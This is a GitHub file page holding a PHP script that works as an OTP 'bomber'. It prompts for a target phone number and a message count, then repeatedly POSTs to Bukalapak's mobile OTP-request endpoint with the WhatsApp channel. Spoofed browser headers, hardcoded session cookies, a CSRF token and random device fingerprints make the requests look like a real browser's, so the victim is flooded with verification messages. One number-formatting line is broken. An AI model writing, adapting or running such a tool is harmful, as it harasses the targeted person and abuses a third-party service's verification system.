-
Notifications
You must be signed in to change notification settings - Fork 36
/
Copy path.wa.php
63 lines (63 loc) · 3.79 KB
/
.wa.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
{
echo "\33[30;1m ___ ___ _ _ \n";
echo "\33[36;1m | __| | _ ) | || | \33[32;1m*\33[31;1mBLack\33[36;1m|~|\33[31;1mWhite\n";
echo "\33[36;1m | _| | _ \ | __ | \n";
echo "\33[37;1m _|_|_ |___/ |_||_| \n";
echo "\33[32;1m |\33[36;1m******\33[32;1m|| **** \33[31;1m|BLW|\33[32;1m******||\33[36;1m******\33[32;1m| \n";
echo "\33[31;1m *-0-0-\33[36;1m***\33[32;1m-0-0-\33[36;1m***\33[31;1m-0-0-* \n";
echo "\n";
}
echo "\33[37;1mNomor Target? : ";
$nomer = trim(fgets(STDIN));
if(strlen($nomer)==11){
$nomer = str_replace("0","62".$nomer);
}elseif(strlen($nomer)>12){
$nomer = str_replace("62","0",$nomer);
}
echo "\33[32;1mTarget: \33[31;1m$nomer \33[32;1m(y/n)";
$cek = trim(fgets(STDIN));
if($cek=="n") exit("\33[31;1mStopped!\n");
echo "\33[36;1mJumlah Pesan? : \33[31;1m";
$jumlah = trim(fgets(STDIN));
for($a=0;$a<$jumlah;$a++) {
$rand1 = md5(rand(12345678,98765432));
$rand2 = md5(rand(12345678,98765432));
$rand = array($rand1,$rand2);
$rand3 = md5($rand[rand(1,2)]);
$config['headers'] = explode("\n", "Host: m.bukalapak.com
Connection: keep-alive
Content-Length: 134
Origin: https://m.bukalapak.com
X-CSRF-Token: uYUfi93g92mZboBVB4UMwYInorBNOgyYEAbPUTikHht+xseF8BFUgg9qSgQWA9MRy7eL8G/SnbYUGg0JRM1fjw==
User-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.91 Mobile Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
Save-Data: on
Referer: https://m.bukalapak.com/register?from=home_mobile
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,id;q=0.8
Cookie: identity=".$rand1."; browser_id=".$rand2."; _ga=GA1.2.1024758930.1531960985; _vwo_uuid_v2=DE8E70E7E9A8960F05F20FE0ACE87643B|378e4a2f30c36053c1cb833e89ecbc2e; _gid=GA1.2.622427606.1533988422; scs=%7B%22t%22%3A1%7D; spUID=15339884253603c43b2de12.c5b45553; session_id=e95e7511997432af179935abfce90320; __auc=3eed305416528d5f584187b45b2; G_ENABLED_IDPS=google; track_register=true; affiliate_landing_visit=true; mp_51467a440ff602e0c13d513c36387ea8_mixpanel=%7B%22distinct_id%22%3A%20%22164affd88ae1d-0791dbbd558a18-1f20130c-38400-164affd88aff4%22%2C%22utm_source%22%3A%20%22hasoffers-1851%22%2C%22utm_medium%22%3A%20%22affiliate%22%2C%22utm_campaign%22%3A%20%2215%22%2C%22%24initial_referrer%22%3A%20%22%24direct%22%2C%22%24initial_referring_domain%22%3A%20%22%24direct%22%7D; ins-gaSSId=cdd66ffd-18ce-a176-a3c3-26f0ac9ec000_1534027025; lskjfewjrh34ghj23brjh234=elBsSkNBb3VKS3hzZSttTnNKTm5VNk1pWmtzV1A1YldKRm1majAzRFdsSUJtcDJJV0psL0pnOFlBamtJU1NBa1Y2czlQdjZrNlFURDNiRmZqQmNRRXRyeWRTbGV5QUdpQnZjV3JocEc3ak9QeHpWSlpRNTE4eFgzR2FieDVnc2dWaUVoZzVzMEJlMVZwM2NKWk1LaXVwQTZuOXBVR01TUUJ4ejc4MW5MTU5taGYwZ2M0bFdwM05KYy9IcTh3bThsd3dzbSt4bHd4WG9NSklrcHJtT0dHUURURVQ5YVoyb0hLQ3dyUC9NZ2V6UUNFYmVGbE84REtqOHZlKzBZUGtiRS0tV3pMamNPNDhKT1FoZ202Q1BkNUJ5dz09--5a445aefe0c06b736c22e9f359ee3b7273058175; insdrSV=32; _td=7e03facb-a77c-4ce7-8b83-2427781c78c7");
global $config;
$ar = http_build_query(array(
'feature' => 'phone_registration',
'feature_tag' => '',
'manual_phone' => $nomer,
'device_fingerprint' => $rand3,
'channel' => 'WhatsApp'
)
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://m.bukalapak.com/trusted_devices/otp_request");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $config['headers']);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $ar);
$asw = curl_exec($ch);
curl_close($ch);
print $a.$nomer." \33[32;1m[\33[36;1mMengirim Pesan...\33[32;1m]\n\33[31;1m";
}